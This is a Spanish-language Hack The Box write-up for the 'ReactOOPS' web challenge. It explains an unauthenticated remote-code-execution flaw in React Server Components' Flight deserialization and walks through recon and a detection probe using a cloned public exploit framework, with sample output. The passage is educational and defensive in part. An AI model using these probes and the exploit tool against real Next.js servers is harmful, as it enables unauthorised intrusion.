ReactOOPS - Writeup del Desafío Web HTB

Autor: TheStingR - Equipo ISP1337Hackers
Desafío: ReactOOPS (Web)
Plataforma: Hack The Box
Dificultad: Muy Fácil - RETIRADO
Fecha de resolución: 13 de diciembre de 2025

Tabla de Contenidos

1. Resumen Ejecutivo
2. Descripción del Desafío
3. Análisis de Vulnerabilidad
4. Reconocimiento y Enumeración
5. Guía de Explotación
6. Extracción de la Flag
7. Análisis Técnico en Profundidad
8. Defensa y Mitigación
9. Lecciones Aprendidas

---

Resumen Ejecutivo

ReactOOPS es un desafío web que explota CVE-2025-55182 / CVE-2025-66478, una vulnerabilidad crítica de ejecución remota de código no autenticada en React Server Components y Next.js App Router.

Hallazgos Clave:

• ✅ Servidor: Next.js 16.0.6 con React 19 (vulnerable)
• ✅ Vulnerabilidad: Falta de comprobación hasOwnProperty en la deserialización del protocolo Flight
• ✅ Impacto: RCE no autenticado con privilegios de root
• ✅ Explotación: Solo se requiere una única petición HTTP POST

---

Descripción del Desafío

Evaluación Inicial

El desafío presenta una aplicación Next.js pulida que ejecuta la interfaz de asistente de NexusAI. La aplicación parece manejar la entrada del usuario a través de React Server Components, pero fallos sutiles en la capa reactiva insinúan vulnerabilidades subyacentes.

Stack Tecnológico

• Framework: Next.js 16.0.6
• Versión de React: 19.x
• Despliegue: Contenedor Docker (build standalone de Next.js)
• Puerto del servidor: 50183

¿Qué Hace Que Sea Vulnerable?

La aplicación utiliza:

1. React Server Components (RSC) - Renderizado del lado del servidor con comunicación con el cliente
2. Protocolo Flight - Formato de serialización para la transmisión de datos RSC
3. Dependencias Vulnerables - react-server-dom-webpack sin parches de seguridad

---

Análisis de Vulnerabilidad

Resumen de CVE-2025-55182 / CVE-2025-66478

¿Qué es el Protocolo Flight?

El protocolo Flight es el formato de serialización propietario de React para transmitir datos entre servidor y cliente en arquitecturas de Server Components. Utiliza referencias como:

• $1 - Referencia al objeto en la posición 1
• $1:path:to:value - Recorrido de rutas de propiedades

La Comprobación de Seguridad Ausente

Código Vulnerable en ReactFlightReplyServer.js de React:

// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
    let chunk = chunks.get(id);
    const value = chunk.value;
    
    // Process references like "$1:path:to:value"
    if (reference.startsWith('$')) {
        const refId = parseInt(reference.slice(1).split(':')[0]);
        const path = reference.slice(1).split(':').slice(1);
        
        let obj = chunks.get(refId).value;
        
        // VULNERABLE LOOP - NO hasOwnProperty CHECK!
        for (let i = 0; i < path.length; i++) {
            obj = obj[path[i]];  // ← Allows prototype chain access
        }
        return obj;
    }
}

La Versión Segura (Lo Que Debería Ser):

for (let i = 0; i < path.length; i++) {
    if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
        obj = obj[path[i]];
    } else {
        throw new Error('Invalid property access');
    }
}

Por Qué Esto Importa

Sin la comprobación hasOwnProperty, un atacante puede recorrer:

myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype

Cadena de Explotación

Paso 1: Enviar la referencia "$1:__proto__:then"
         │
         ├─ Acceder a myChunk[__proto__]
         └─ Luego acceder a [then] en el prototipo

Paso 2: Crear un objeto falso tipo Promise
         │
         └─ { then: maliciousFunction }

Paso 3: React ejecuta await sobre este objeto
         │
         ├─ Invoca el método .then()
         └─ Ejecuta la función del atacante

Paso 4: Ejecución de Código Arbitrario
         │
         └─ El código se ejecuta en el contexto del servidor como root

¿Por Qué No Hay Comprobación de Autenticación?

La vulnerabilidad existe antes de la validación de Next-Action:

Flujo de Procesamiento de la Petición:
├─ Parsear los datos del formulario multipart
├─ Deserializar el protocolo Flight  ← EL RCE OCURRE AQUÍ
│  └─ Procesar referencias y objetos
│  └─ ¡Sin comprobación hasOwnProperty!
├─ Extraer la cabecera Next-Action
├─ Validar el ID de acción          ← Esto viene DESPUÉS
└─ Ejecutar el manejador de acción

Al provocar el RCE durante la deserialización, los atacantes omiten todas las comprobaciones de seguridad a nivel de acción.

---

Reconocimiento y Enumeración

Paso 1: Prueba de Conexión Inicial

# Test if service is responding
curl -v http://<IP>:PORT/

Esperado: Aplicación Next.js sirviendo HTML con RSC habilitado

Paso 2: Identificación de Tecnología

Busca indicadores:

• Cabeceras de respuesta que contengan prefijos next-
• HTML que contenga <script type="text/x-component">
• Presencia de artefactos del directorio .next
• Endpoints POST sin autenticación evidente

Paso 3: Detección de Vulnerabilidad

El indicador más fiable es intentar un ataque de contaminación de prototipos y observar la respuesta:

# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash

---

Guía de Explotación

Configuración del Entorno

# Navigate to challenge directory
cd /Challenges/ReactOOPS

# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git

# Verify all scripts are executable
chmod +x react2shell/*.sh

Fase 1: Detección (Prueba No Destructiva)

Objetivo: Confirmar que el servidor es vulnerable sin causar daños

cd react2shell

# Run the detection probe
./detect.sh http://<IP>:PORT

Qué Hace:

1. Crea una petición POST multipart con la cabecera Next-Action: x
2. Envía el payload: ["$1:a:a"] referenciando el objeto vacío {}
3. En un servidor vulnerable: JavaScript intenta acceder a {}.a.a
4. La falta de la comprobación hasOwnProperty provoca un fallo
5. El servidor devuelve HTTP 500 con el digest de error

Salida Esperada:

[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT

[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern

[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}

[!] This server is running a vulnerable version of React RSC / Next.js